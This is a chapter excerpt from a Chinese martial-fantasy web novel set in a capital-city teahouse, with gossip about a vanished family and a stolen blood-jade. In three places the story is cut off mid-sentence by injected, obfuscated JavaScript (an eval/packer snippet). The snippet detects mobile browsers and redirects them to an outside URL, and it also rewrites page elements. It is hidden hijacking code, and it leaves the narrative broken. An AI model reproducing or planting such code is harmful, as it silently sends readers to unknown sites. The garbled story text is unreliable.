《狂客逐花》 1. 茶舍 京城有一处极为隐蔽之地,可虽说是隐蔽地,不知怎的今日却比往常热闹了些,或许是来的生面孔多了起来,平日里闲得慌的老板娘和店小二也忙的摸不着头脑。 看着来往的熟客和生客渐渐齐聚一堂,由于人多的缘故,两人忙不迭的把茶叶三两下抓到茶壶里,还没等水烧个半开,四周便伏起接二连三的催促声。 一旁的玉簪显然是为自己的主子着急,手上的绢布都捏的紧了些,轻声委婉的朝漆木柜台前打探道:“白姑娘,我家公子的茶是否好了?快些端上来吧,等的有些久了。” 那老板娘当然不知道是哪一位催的,尽管还在不停的投放茶叶到壶中,手忙脚乱间还是给了个应声。 须臾间,另一旁的小二赶忙走上前去,躬身呈递上一壶热茶,一脸恭敬:“公子久等了。” 见状,右侧的白萼接过了小二的茶,朝着玉簪小声细问:“公子今日怎么是这个品味,往日都是去日沉阁消遣的。” 说罢,就斟了七分茶,也无暇顾及温热,就已经朝着身旁的男子递了过去。 一道照面袭来,眼见此人眉骨分明,显如白玉美者,青丝拂袖间,红绳束发,深系腰间红绶带,一别身侧锦香囊,锦袍隐覆身间,衣袂绣纹云鹤,落地及微不染尘,边幅还有鳞纹修饰其中。 此时若是身处苍翠树林中,这人可谓是如幻如形,清雅绝尘。 “多谢。”独翊端坐一旁,看来人递茶便双手接过,一言一行倒不似寻常人家公子那般洒脱肆意,这骨子里竟隐约透露出一丝拘束感。 白萼不知何时涨红了脸,即便稍稍褪去之后还残留着红晕,低声说:“我们服侍公子那么多年了,他还是那么有礼貌。” 独翊听着着实有些无奈,杯口刚要沾到唇边,却被一阵上升的雾气呛了一下眼睛,这时又不得不放下停歇了一阵,恍惚间只觉手袖一阵温热。 原来茶水早已将衣袖浸湿,手足无措之间,玉簪将绢布递了过去,独翊顺势接过,又道谢了一番。 玉簪转身朝着白萼笑了笑,早已知晓此行不易,连忙和她解释:“昨日公子和青山舍的那位楼公子约好一同去南门城游玩,可惜一夜都未曾见到楼公子,可能是怕一方失了约,便自己一人在南门口守着一夜,今日楼公子身边的伙计又来了,招呼说今日茶舍见,公子既然决定要来,他断定这次楼公子绝不会失约,昨日或许是真的有事情才忘记提前告知。” 看着独翊在一旁干等的着急,指尖有一搭没一搭地敲击着杯壁,没过多久,他实在是熬不住了,右手抚上额头作沉思状睡了过去,这姿势真让人觉得是在思考问题,令外人无心打搅。 见状白萼双手抱臂,眼神微眯,侧身过去,悄声对玉簪嘟囔:“公子怎么和那种人做朋友,也不怕失了身份。” 隔了许久独翊只听见外界迷迷糊糊的声响,玉簪瞥了一眼,拿出事先准备好的披风给独翊盖上,小声低语:“近年来公子与楼公子相谈甚欢,眼神里多了几分清明,是个很好的兆头,往后切记要慎言,公子虽不在意旁人对楼公子的议论,但离得近了内心自然还是会有些别扭的。” 白萼翻了个白眼,抱臂缩到一旁小声嘀咕:“公子脾气真好,得亏是遇上了我家公子。” 这独翊算得上是京城独家的主,如若跟楼台山上的正主比,两人之间的分量却是个天差地别。 所谓正主,也就是独翊的兄长,自小兄弟就生不见父母,死不见全尸,留下两人就不见东西去了。 有人说,再怎么不济,留下几个银两,或者卖去地方做人手混口饭吃,至少也好过弃置于不顾,为何生之不养,弃之令人可悲。 好在这独淮客历经多年坎坷,曾断言绝不会让独翊如断梗飘蓬般无处所依。 于是就有个独淮客成为楼台山门主之前的一段事迹流传了下来。 楼台山,自古有青山角之地。 楼台山属潇湘一带,天地奇景层出不穷,使得文人墨客皆聚此地,而楼台山所管辖的就是这八大奇地,其中四处已暂归其主,散于潇湘各处。 传闻有一日独淮客踏足雁城时遇到了一只濒死的鸿雁,驻留多日后才发觉此地竟是作为潇湘八景之一的“回雁峰”,固然也有“平沙落雁”之称。 为了纪念那些无力救治的鸿雁,便寻了处佳地,在水中铜铸凫雁戏水,放池锦鲤,总之就是所见之处,都有那么几尊展翅铜雕矗立其间,刻画入微,精妙绝伦。 这些雁群相依,悠然独乐,自然成为了人们心驰神往的一处胜概。 独淮客一跃成为楼台山门主之前,刚好碰上皇帝颁布赦令将天下流民赦免,很多曾避居幽山中为了逃避刑罚的人也摸透了这一道理,便将错就错了。 深处此山中时大肆招揽人杰,而独淮客因为身修妖道,应运而生,几招下来便可震慑人心,在当年独步一时,很快独揽了楼台山其中一片净土。 好在他的事迹被世人所津津乐道,既而流传在了话本上,其中是否被过于美化也不得而知。 “借喝一口茶……谢过!”一道身影迅速地冲到一旁,先是掩盖了一人的视线,没等坐客们回过神来,等到残留的余味顺着周遭散发出来,才得以令四周感受到了即将要作呕的滋味。 “呕呸!!我操!哪来的乞丐?!”有人惊呼一声,男人原地跳起,角落里的乞丐不知哪里来的勇气,跌跌撞撞的走到一边,竟在大庭广众之下随意上手在外人的面前夺走了一杯茶,猛的灌入口中一饮而尽!乞丐不嫌脏,可客人嫌脏!一群人齐齐望去,离得远些的顿时啼笑皆非,离得近的事主也不知怎么才好,这心底早就论起了口舌之战。 完事后还留有余味的咂了咂嘴,笑呵呵地把茶盏原封不动地还给了还在傻眼的男人,看里头的茶早就荡然无存,心中愤恨之极。 男人恰巧是这里的常客,看着杯子被乞丐原封不动的安回了手上,这么被平白无故的惹了一趟,是被怠慢了!此刻心中充满怨气,朝着柜台怒喝道:“白老板!怎么什么人你都敢让他进来?” 这阵骚动实在是大,使得柜台前的白怀梦不得已抬起了头,茶壶中的热气笼罩在柜台之间,使得她脸色极白,这茶舍不卖酒,此刻脸颊不酌酒也生红,就像一个细琢白净的福娃娃。 想着说,白怀梦也是想管,但又能怎么样呢,她不是个擅长赶客的人,尤其是对于劝告也无果的,于是给了个让常客自求多福的眼神。 “白瞎了这地什么人都让进!” “这老板倒是管啊,真不想做生意了?!” “你真不知道这白老板是谁吗!” “管她是谁!整的乌烟瘴气的多不好!” 但言论是太过激烈了,以前也不是没有这种事情发生,既然来到了这,太计较太讲究也没用,大家都是打听江湖流言的,这么芝麻点小地,隐藏这么深,起口角的也多,实在是没功夫劝每处都能安静下来。 直到那人非要携人见动手了,情况愈演愈烈,白怀梦只好秉持着职业操守悠悠的起了身,走出柜台朝前走去。 第一次遇到过这种阵仗的生客也有些困惑,巴不得离得远远的,直到这时就有人在人群中压低嗓音出声:“我瞧着这人面熟,原来这老板娘是京城巨贾白富贵的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“难做!难做!”乞丐随即嘿嘿一笑,觉得白怀梦与其他人不同,反倒心平气和的与自己交谈,此刻又“嘿嘿”了两声,见她沉默,像是听懂了意思,于是不再发出动静,一步笑,一步一挪地到角落去了。 没成想是真傻,好在安静下来了,没出什么动静也不好赶客,白怀梦也不会自讨烦恼,早些平了这动静才好,终于可以歇了气,暗道一声:“好吧,安静下来就好。” 随即又朝柜台招了招手,示意小二又沏了一壶新茶,转头对常客继续以表歉意。 白怀梦的声音柔和细腻,听着确实让人舒服,如若看着脖子以上的部位,也算是大家闺秀当中的皎皎明月,可惜不知道是中了什么邪,落到如今这个地步。 这种情况下,总有些跳脚玩意冒出来,总先事不关己,后多嘴多舌一样不落,立马宣声高昂:“白姑娘骂人也是这么柔声细语吗?怎么跟没吃饭一样?” “白老板,对这种人可不能心慈手软啊!” 人群如热潮一般起哄着,大家认为毕竟白怀梦是位女子,也不好在这么多人面前拉下脸面,见那人没反应,白怀梦只得叹了口气,指了指角落的乞丐笑而不语:“小二哥,给这位客官也上壶茶。” 这次轮到围观的群众有些懵,这是赶人的新方式吗?或者还是白怀梦可怜他的遭遇,不忍心的赠了一壶茶,白怀梦却是自顾自的摆了摆手,再也不想搭理的落下一句:“不管怎么样,来者是客。” 白怀梦倒也不是这般不讲道理之人,若是一方有难,自然是尽力而为,不惹事端,只是可恨这些在背后乱嚼舌根之人,还好一向不听传妄言诳语,了了便无事。 匆忙过后,那老板娘倚靠在柜台闲嗑瓜子,露出一抹悠然的新姿态。从而不紧不慢的顺着柜台前听着众伙谈论的新八卦。 2. 异闻 王俸早已等候多时,在一行人当中气性最躁,实在是压不下怒火!!正恶狠狠的咬紧牙关,拳头上的关节被捏得“咔咔”作响,却只能在此处宣泄一番:“气死我了!大伙儿可不知情吧?青山舍那厮昨晚在城墙上乱涂乱画!害得我洗了一晚上的城墙!” “我瞧这楼半仙怎么教出了这么个玩意,整天就知道不学无术,舞文弄墨倒是给他玩明白了!” “我呸!我看写的还不如那个贬去十里长亭多年的萧氏子呢,人家那字才称得上是笔致细腻,笔势竭如青云入流水,颇有玉骨赋人姿啊!” “你还真押韵上了?我没觉得十里长亭那个所谓的少主能有什么大作为!都是官家子弟,何必那么高看?况且十里长亭也称得上前朝余绪,早就应该被皇宫里出来的新官封走了地,要不是皇帝老子不追究,当初这个萧长亭也得死!” “哎!别说了,前朝愁事前朝怨,不过这萧长亭打理的确实不错,再加上他那个兄长扶持?这虽没见得面,但确实是个人才。” “那楼少渊算个什么东西!吃里扒外的事也真一件不落!” 论这几句话一出,一些不知悉的看客也就旁敲侧击打听出来了,原来是京城那有小有威名的楼半仙和他那不学无术的儿子! 俗话说的好,有其子必有其父,以他们口中楼少渊这顽劣的性子,肯定多少都与他爹沾点德行。 这楼半仙按照往年的事迹来说其实不算得上是一个正经人,据说以前刚来京城的时候还是一副游手好闲的模样,总是变着法的骗一些人算命,据说当时还扬言把“算不准不要钱”的牌子挂了出来。 其实有准,也有不准。 今日不准或许是算得多了,不灵也正常,若是准就拿钱,这一行来一行去,怎么的也给他赚上了一点小钱。毕竟也只有拉得下脸面才会去赚到钱,不然怎么来养家糊口。 当然了,昔日楼半仙没有在京城立足之前还是会被一些专做坑蒙拐骗的“同行”先行了几次下马威,但无非都是一些拙劣手法,但好在也算是站稳脚跟了,也老实本分的做起自己的本职。 “不知何人惹的各位客官如此嗔怒?” 不多时,茶摊旁挪动了一个身影,一张白洁青涩的面庞隐现了出来,身形瘦弱,是一个生的非常标致的少年,脖间用黑绳系挂着一个缺角的木雕羊,做工简易,多处纹路早已磨平,楠木质地,实为珍贵。 玄衣左袖有一道映红显现,与玄色交融极为醒目,是绣了一枝杜鹃花。背后还倚着一把长剑,额间凌乱的碎发还夹杂着几缕少年白,怎么看都不像是风华已尽。 话说京城内纨绔公子诸多,能让人同时站出来义愤填膺的能有几个?一道话音刚落下,适才并没有人去回答他的话,要说这种事随便一两句就过去了,若是要对一个外人深究这其中的缘由,这时大家却很有默契似的把话留在心里暗自腹诽。 那茶摊处的小二见闻是新来的生客,赶紧上到柜前倒了一杯茶,转身朝兰桡的方向递了过去。 兰桡顺势踏入门内,见无人不答,也就一笑了事,谢过一番后接过那杯茶就饮了下去,沁入口中时留的一丝清茶的残香,整个人也轻松了很多,心中暗叹不枉此行。 “你很渴吗?还是路上的水不够你喝?” 一道凛冽清脆的声音从侧方传来,细听实在是有些挖苦,一位女子踏入店内,用不满的语气朝兰桡呵斥,“若是别人家的茶水如此可口,你不妨以后在这打杂?也当个小二如何!” 兰桡闻言连连摆手,搭了个伙坐下,侧身用手拿下负立在身上的长剑,把剑往脚边一甩,同时又朝着邵为雪挑眉说笑,一道打趣:“行啊!此行收获颇丰,这么清闲自在又能时常听上几句八卦的地方我倒是很乐意待着的!更何况待个百八十年我都不会觉得寂寞!何乐而不为啊师姐?” 邵为雪却有些艴然不悦,出声寒冽渐冷:“收获颇丰?到头来你找到线索了吗?你有认真在每一处找人吗?你觉得你这样很有意思吗?我看楼台山不收你这种人倒也真是有迹可循!” 兰桡扶正了身子,正把玩着手中的茶盏,似乎对最后一句话抱着一些不屑,摇了摇头讪笑:“楼台山不肯收我?你觉得有哪几位门下值得我进?如今看来,拜某人为师,成为门中弟子也不过几年?他倒是放得开,这种无关紧要的事情也用得着你来操心?难道这就是所谓的让新人崭露头角出门历练吗?反正我不见得。” 邵为雪心中不耐,家道虽崇玄门之风,自小便深自砥砺,十年磨剑,教的也是先忧后乐的道理,但邵为雪还是秉持着知白守黑的作风,不管此行对自己的前途是否有利,既然拜入门下,眼下尽心竭力便好,反应渐小也必然有回响。 即使是调整好心绪,听到这话时竟然也有些如鲠在喉,此刻心中不免感到自己是否真是所有弟子中微不足道的存在,这种滋味实在是不好受。 她一身轻装白衣来,过目修身,发色呈墨高束起,面容也如同她字中为雪一般白透。眉眼不带灵动,瞳中泛黑使得郁郁无神,左手持有“绛雪”刻样的一柄长剑,通体银灰,覆月光之清冽。手腕处有道“半边莲”的刺青,想来这是独属于芦荻秋门下的印记。 即使这样还能从里到外透露出一丝骨韵之气,这不是一刻就能苦练出来的,就算是与生俱来的天赋,也是质气难求。 看着兰桡毫不留情的试探邵为雪的底线,依这仗势双方之间竟擦出了一丝火气,乍看形势不对,白怀梦前去赶忙开口调解:“二位别生气,初来乍到皆是客,你们既然是一路人,相对来说往后在路上都是要互相照应的,别伤了和气嘛!喝口小茶消消火。” 说着便沏了一壶新茶端到邵为雪面前。 邵为雪冷哼一声,不知道是怎么个想 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“沃洲镇的那位穆姓老爷,至今还未有踪迹,真是一言难尽。” “什么时候的事?” “就在前几天,你怕是不知道吧?这件事竟然能让穆府所有人一夜之间全部消失,真是奇了怪了!而且那尊供奉在古刹宗的佛像,左胸口被挖空了一处!” 直到有人出声疑惑:“那尊佛像本身就已经很值钱了,那人是傻么,不整个拿走还要毁掉一处!” “你也不想想,这金佛可是根据人的模样塑造的,一看就是个高僧啊。况且这么重,凭一己之力肯定拿不出来,这时候如果陆续招来几个帮手,你认为会没人觊觎这座佛像吗?再或者……佛像被挖走的那处比本身更值钱!” “那能去哪啊?况且沃洲镇举目围山,就算是跑出去,这么多人总得有点动静吧?” “谁知道呢!没准就是得罪谁了?!” “不是,你别看人家穆老爷那么阔气,对自己老婆孩子可没那么好,天天粗布麻衣,这钱真没用正事上!况且谁脑子抽筋了还是中邪了?非要供一尊来路不明的佛像!?” “哎呦!会不会是佛像在作怪啊,天降神罚也说不准啊!” “你听谁胡说的?谁还信这玩意?这分明就是有人在捣鬼!这穆老爷给人家建宗立庙,大肆宣扬招来信徒,那佛像就算显真灵也得感恩戴德!” “宁可信其有,不可信其无吧?!没准儿呢……” “呵呵,就算是有鬼作孽!咱们哥儿几个合伙起来晾它个三天三夜!看他还敢不敢作祟!” 众人越听越觉得这个人说的在理,不少人也为之动容,想要起身前往沃洲镇见识一下这尊佛像,可是这东西来历不明又暗藏玄机。 总而言之,毕竟心思不明的人在多数,这会儿也只能面对身旁的人侃侃相谈了。 3. 争论 一阵言论过后,兰桡右侧余光之处出现了一抹颀长的影子,顺着余光扫去,一身深灰素衣打扮的男子靠在门边,发丝飘逸,只见他神色平静,静待空虚,一把檀木制成的折扇挟夹在腰间,碍于是有些硬度,察觉到后于是反手就将它握在手中,见无人注意,既而又在大庭广众之下伸了伸懒腰。 一副好自在的模样,但两眼之下有明显的青灰,看样子不是一个晚上没睡,是接连好几夜都没碰过床了。 “楼少渊!还真能在这碰到你!!” 王俸忽然拍案而起,像是找到了气愤的源头,又惊又气!原本吵杂声很重的茶肆也逐渐埋没了声息,干指着门边那人的方向骂道:“快看!是楼半仙那个龟儿子!真是冤家路窄!” 其中一帮人也注意到了这一幕,闻言纷纷起身朝他面露狠色,直到视线全部朝向楼少渊他才得以察觉到,四下张望后露出一抹震惊的神情,将折扇朝反挠了挠头,脸上假意冒着虚汗,持续干笑:“王兄……我又怎么你了?” 王俸似乎找到了突破口,继续扬言:“你还敢说怎么你了?昨日你在京外城墙上是泼了墨水吧?害得我被罚得洗了一整晚!” 楼少渊仔细回想,用力揉了揉脑后才终于清醒了过来,好像确实有这么一件事,难怪这人刚从自个刚进门就有些火气旺,敢情是看见自己就直接两眼冒火的爆发了…… 楼少渊上前走两步,连忙解释了一番,于是赶紧给自己找脱,笑着拱手了一瞬:“实在抱歉,我那是在凭借月夜行笔作画懂不懂!若是在人世间这点情调也不准有,大不了重新投胎罢。”转念一想,在他身前转悠半圈又退回几步,终于想起昨晚之事,恍然大悟了起来,“其实倒也没你说的这么夸张,泼墨水这差事我能做得出来?你该不会给我乱扣罪名,让我落人口舌吧?难道是我画了什么难以言状的事?令你不堪了?那你倒是说说我写了什么!” 王俸脸色顿时变得难看,脸都拉到地底了,还是没拉下气势,装腔作势道:“楼少渊,你这是把这地当你家来了,今儿我若是不在大伙儿面前讨要个说法,你就别想踏出这一步!” 楼少渊紧跟着附和笑,听着实在有趣,眉眼微挑:“好啊!你是准备把这地盘了送给我是吧?不过有钱也不是你这么玩的,自家财产嚯嚯完嚯老婆家,有你这么做人的吗?” 言罢,早已经有人置于其中议论纷纷,王俸早已不耐烦了起来,面色接连红涨,鬼戳戳的打量着他,心中直发毛,怒骂道:“你!!太欺负人了!!!什么叫嚯嚯我老婆的钱!我老婆的钱也是我的钱!关你个毛个儿屁事!你今天必须给我个解释!让大伙也听听这厮是怎么猖狂的!!!” 楼少渊有些站累了,倒不如说是讲累了,就顺势坐在了兰桡旁边,轻车熟路地拿起新盏给自己倒了一杯茶,挥手一口闷下去才道:“你说呗,又不拦着你,再者说……让我自己解释其实也可以的,昨夜我可是亲眼目睹了某人出门暗访桃林,会幽人行不遂之事,觉得一个人也太枉为人夫了。彻夜不归家,在外寻欢作乐,我不管你怎么想,至少得想想你的妻子吧?哦对!!这样没有节操的人,我不把行事刻在石壁上,即便用轻易冲洗的墨水,也算教诲的轻了吧?” 不知道是踩到王俸的痛点了还是怎得,话音一落,气的他直接抓起桌上的茶盏,虽不是大件,但依稀是砸飞了两个茶盏,其中一个刚巧不偏不倚的砸到了旁边那个乞丐头上。 “啊啊啊啊——” 这乞丐原本还在悠闲的贴着壶嘴喝茶,这一闹措不及防的被王俸抛来的茶盏正中头部!随即惊叫一声!众人也是一惊一愣,还没理清左右思绪,没成想这叫声格外刺耳,乞丐也真是这一群人中比较显眼的存在,这时许多人不由得笑出声,此刻连滚带爬的捂着头跑出去了。 另一个滚到兰桡身后,倒也没碎。 楼少渊不看向他,只顾着喝茶,实则有意调侃:“不够气盛,连个茶盏都砸不碎,是要说此人没力气呢?还是此物乃是天上有,落入人间贼手也砸不碎?” 王俸被说的面红耳赤,回想起刚才的画面,耻辱感倍增,好一句大言不惭:“楼少渊!你真是改改你那副嘴脸,你管谁是贼呢!什么幽会行不轨事!你怎么知道我是为了女人出去的!我老婆管不管我关你什么事!你管的倒宽,真以为有个烂爹就能一步登天了吗?你家的生意能有我家做得大吗!” 被话语击中的楼少渊也不恼,嘴角还是带着那抹不明意味的笑意,将空杯往前一扬,叹了一口气接着说:“试问你家生意做得大不大?若非你娘子不带着嫁妆投入你家的生意,若不是以她的才见支撑起整个王家,你认为,倘若以你这片贫瘠的想象力?能浇灌整个王家的生意?” 一句话刺痛在王俸心头,让他的脸色也愈发狰狞,直冲他瞪眼,放言高论挑衅:“那你也不能证明我犯了什么苟且之事!楼少渊!收起你那副德行,不过是半路冒出的杂种,你有什么资格对我评头论足!” 楼少渊摇了摇头,早已打困,闭眼半晌似乎不想多说了,将檀木扇抽出放置桌前,盏落之余,前方一道速影贴近,竟然是王俸冲上前来,双手呈抓状动手欲要掐住楼少渊的衣领,好让他赶紧闭上这张嘴。 楼少渊是什么样的人?无疑不会闭嘴。 见他依然如初丝毫不动,还充斥着闲情逸致,兰桡侧身立马拾起剑,起身一挡挥开了王俸将要袭来时的动作,力气稍有不足,还连带着踹出去了一脚,王俸见兰桡手中的剑,心中一惊,怕剑!更怕死! 扑来之时重心不稳,接住这一脚后,直直向斜边摔去,“砰一”的一声不稳栽倒在地,争得旁人四散逃开。 “啊!多谢抚遗!”楼少渊虽闭着眼,但是听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15086993|163586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到响动还是立马睁开了眼睛,兰桡收剑奇快,息影回转之际还是瞥见了剑鞘上的“抚遗”二字,立马道谢一番。 他视线朝下,立马伸手掐指一算,看向倒地的王俸,假意冷哼:“我倒是也想有这个资格,你这么大声喧哗,这事早已经有人出去传得满城风雨了,不久后你娘子就要闻讯赶来,你是要待在这继续与我作骂?还是早些回家?” 言罢,王俸瞬间噤了声,心里狂跳不止,背后寒意涌动,一声激灵后大叫一声猛的起身,才反应过来。形势差点把桌子连带掀了,也连带吓了旁桌缩了缩脚,接着快速的整理了一番,情急慌乱之下立即飞奔了出去。 这一句话的影响不管是假是真,但不得不信,没准呢…… 楼少渊侧身再次道谢:“多谢抚遗。” 兰桡一阵无语,沉默道:“我叫兰桡。” 楼少渊略感抱歉:“多谢兰桡。” 兰桡见楼少渊坐下还能飘逸似神仙,心中不免想到刚刚那段掰扯,又将剑朝一旁甩去,也不珍惜,立马坐下歪着头疑惑:“看他落荒而逃的样子,难不成真是你所为?” 楼少渊像以茶代酒般轻碰了下兰桡的杯子,一脸不可置否:“缘由已经说了,他信我爹,自然也认为我懂些什么。” 兰桡眉角挑起,点了点头,想到刚才听到的一点消息,那位楼半仙的儿子就是他,半仙?或许真有个名头?不过有了缘由也说得过去,倒也不假。 独翊这时醒来,向左右四周都打量了一下,应该是听到了熟悉的声音,不像是梦里的,环顾了一周才紧凝着前方,见这人犹为醒目,立马清醒了过来,伸手拿开披风后,看清楼少渊的瞬间立刻走上前去质问:“楼兄!你怎么才来?!令我好等!” 楼少渊眯了眯眼,注意到来人笑了笑,招了招手。 独翊是个孤傲清冷的性子,但这个性格放在楼少渊身边却不起任何作用,所以白萼总觉得自家公子跟中了邪一样,京城世家公子这么多,和谁在一起玩不好,非要跟这样花言巧语还从不作数的人做朋友,但碍于身份,这种事她自然不能说出口。 独翊走来与兰桡对坐,兰桡眼见也是一个爽快人,便给他也倒了茶。 独翊拱手谢过后不知想起了什么,顿时有些幽怨,犹豫了一番才道:“楼兄,你昨日为什么要食言。” 楼少渊轻轻“啊”了一声,惊醒后才想起解释:“其实原本是要找你的,这路上呢遇见了事,以我的性格好说歹说自然想平事,但那人不允啊,非要我把眼睛挖了才肯放我走,我只好棒打鸳鸯出口恶气,反正闲着也是闲着。” “棒打鸳鸯”一出口,楼少渊也没觉得不对,独翊只觉得天旋地转,被楼少渊糊弄过晕了头,仅在失约话题上接着问:“那你怎么不叫我一起,我昨天明明在离你不远的地方,你怎么不来找我。” 4. 血玉 楼少渊抬了抬眼,一脸语重心长地摆弄着折扇继续糊弄:“那是我去搬救兵了,有个值守的大哥是我最近新认的小弟,我一句话他还能不来不成,我就和他守着王俸,让他把我写的字给冲干净,以此小惩大诫!罚他这么点都没个皮肉伤,今天来这挑衅遇见了,骂他两句也不为过!” 听他讲完,独翊心情有些低沉,对茶中影自哀自怜:“那你早就来了,只是没去找我而已……” 楼少渊尴尬的挠了挠头,将折扇打开挡着一边脸,尽量不去对上独翊那双幽怨的眼神,语气委婉了下来:“抱歉啊,是想着等你来,后来就忙忘了。” 正当独翊拉着楼少渊叽叽喳喳讲个不停时,兰桡径直站起身不好再听,这一起身倒退,却不小心踩绊到了刚刚王俸砸来时落在脚下的茶盏,兰桡忽然怔住,心中无言,只好自认倒霉。 只见身后无物体支撑,倏忽间身体猛然向后倾去,楼少渊和独翊两人也立马注意到了这一幕,立即伸出手想要抓住,却也来不及再拉住,眼看着马上就要倒地,却措不及防的滑入了身后的怀抱里。 一转头,兰桡面露喜色。 “师兄?你怎么来了!师姐她……”兰桡激动的看着来人,又顺嘴一提起邵为雪,神色却又暗淡了下来,顿时有些哑然。 像是看穿了兰桡心中所想一样,扶正兰桡后,古泛舟低头看了看脚下,捡起刚刚丢在一旁的剑递给兰桡,又将茶盏捡起放在桌前,温声说:“无妨,她会比我们提前。” 楼少渊抬眼仔细端详起这人,长得倒是五官细润,高束发尾,剑眉微扬,一袭黑衣,边幅只有鳞纹点缀,长身玉立,意气自如,独翊也顿时明白了过来。 想必这人就是独淮客门下之人。 为何能清晰认得是哪位门下的呢?独淮客为蛇妖,蛇身纹饰自然贴近本体,代为一方,独翊的锦袍边缘也有此纹样,自然好认。而芦荻秋身处莲城,代表的却并不是湘莲,而是半边莲。 两人在刚立足于楼台山的时候,就有过形同水火的关系,不过这都是后话了。 古泛舟身后也有一把长剑,剑身生朽较为古朴,剑柄边缘之上还有云雷纹刻印。独翊这时的注意力集中在了这把剑上,颇有兴趣地盯着这把剑,觉得灵气至盛,剑鞘似乎也不相对衬,里外皆埋去清霜。虽不知何名,却犹如一把久经沙场早已被锈斑盖去了往日血性的剑,化息隐去也能令人望而生畏,不可撼动。 兰桡握紧剑后喜上眉梢,轻咽了口水:“师兄,你怎么也来京城了?也是来找前辈的吗?” 古泛舟点了点头,薄唇紧抿:“不全是,不过既然来到了京城,自然也要和你们一同寻找一番,二者沃洲镇的那尊古佛实在诡异,竟然令穆氏上下全部失踪,血玉丢失必然得查探究竟。” 兰桡不禁称奇,有些疑惑:“血玉?你是说那个佛像缺失的是血玉?” 古泛舟明确的点了点头:“不错,正是血玉。” 这血玉原本是山中以日月精华所形成,本质上与一般玉种并无任何差别,但是将一块血玉强加在一位将死之人或者死后执念较为深层的人身上,连同那人的精血浸透千百年之久,玉石内部便会完全被沁入的精血代替。 玉能养人,长期以往凝魂聚气使得魂魄更加稳固,直到达到非比寻常的高度时,传说能让人长生不老,甚至是起死回生。 至此也没有人能真正做到。 所以古泛舟心中带了几分疑虑不清就下山了。 原本古泛舟是没注意到两个人的,但是独翊的眼神却犹为精挑,看着那把剑的目光灼热的都要开出花来,古泛舟此时也认出了独翊,倒退几步拱手,略微斟酌后才道:“师叔,久仰。” 作为独淮客门下弟子,自然也对这位养在深闺的师叔再三尊敬,虽见得少,不入楼台山之列,但还是抱着尊敬的态度做到应有的礼貌。 独翊一开始没觉得到底是在说谁,心里一直还在琢磨刚才的事情,直到三人的视线都齐齐看向他,他才回过神来,起身挨了一个礼数后也尽数还了回去,一脸尬笑:“久违……有礼了。” 毕竟两人是真的不熟,一番言论过后,古泛舟因血玉一事不得不提前离开,而后兰桡也跟了上去,只剩独翊与楼少渊两人还在悠闲吃茶,独翊轻洒夺过楼少渊手中的折扇,直截了当道:“楼兄今日约我至茶肆,有何事情?” 楼少渊双手环胸阖眸了一阵,一经提点也没想起来,实际上根本就没什么事,独翊也在一旁耐心等候,只见楼少渊慢悠悠的睁开眼,忽然起身将手猛的拍在案桌上,连同茶盏里残留的水都溅了几滴出来,突然一惊一乍的模样让独翊百思不得其解,忽而又斩钉截铁:“其实刚刚那尊古佛,我也很感兴趣!” 独翊听闻顿时瞪大眼睛,但心中还是有些不可思议:“你也提前知道了这尊古佛的事情?” 楼少渊似乎已经想不到什么好理由来搪塞独翊了,到目前为止,这个方法就很好,作势点了点头:“没错啊!要是真能见到传说中的血玉,那可真是奇了……不过他说的这个古佛,是什么来路?” 楼少渊原本就是想来茶肆道歉的,压根就没什么出奇的事情想说,就算有,那也只是从打算“再约独翊去看星星”改成了“现在听到了神奇的血玉”一事,即使就算不是与自己相干的事,还是想破例前去见识一番。 独翊做事讲究分寸,此刻却不免得犹豫:“可这是楼台山之事,若是和他们一同会不会不太好?” 楼少渊一听就来了气,心中顿时有些不爽,刚才斗志昂扬的气势一扫而空,脸上挂满了疑问:“你这个师叔怎么当的?!就当磨练心性不行吗?你没看见他刚刚对你那种感觉?你真的没感觉到吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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独翊瞬间有些吃不消,指了指自己的脖颈,好像被噎住了,现如今只能作声:“呜唔嗯……噎……了。” 楼少渊看了一眼身上没带水,只好先让他独自缓缓,独翊走到一户人家敲门,看了看门外的大缸,猜测里面兴许装了些水,见里面也没人回应,直至打开了遮蔽水缸的木板,里面竟然一滴水也没有,空的!这下却也欲哭无泪。 忽然看见远处的楼少渊不知从哪捧来了荷叶,朝他递过来,走近一看上面积攒着一兜子水,眼下却也不管那么多,独翊立马接过,咕噜两下就把水珠顺着荷叶滑落口中。 隔了一会独翊终于能吐气了,打量了一会楼少渊,看他脚底无泥也分毫未湿,不像立马去到池塘边折下的,他说:“多谢啦!你从哪弄的荷叶水?哪折的?我怎么没看到!” 楼少渊边笑边转头离去:“拿饼和泥娃换的。” 原来是从别处下池塘回来的孩子饿了,捧着刚摘下来的荷叶来家赶,楼少渊就晃了晃白饼吸引到他,就问泥娃是否愿意用手中的荷叶换取白饼,这才欣然同意。 沃洲镇的前身倒也是个钟灵毓秀之地,所见是山即是山,后者虽然也无太大差别,但好在民众富足,各个安居乐业,街上人群熙熙攘攘,并没有因为古佛一事而吓得争相逃散闭门不出。 5. 穆府 楼少渊心中纳闷,刚想问身后的独翊,一转身就看见这家伙还在吃前头摊上买的饼,这饼瞧着就食之无味,通体全白,连点焦状感都没有,这独翊是怎么吃得下去的,见他如此,楼少渊也不对独翊抱有期待了,转身向周边两个正在接话的人拱手:“今日打扰了两位,在下能否请教一个问题?” 其中一人挥挥手,想让那年轻人先走一步,这才可答他的话:“公子可问,不必见外了,许乐……你先走吧,这早去半刻钟,李掌柜心里也舒畅。” 楼少渊也不绕弯子,直言说去:“此地是为沃洲镇?那最近是否出了一件怪事?” 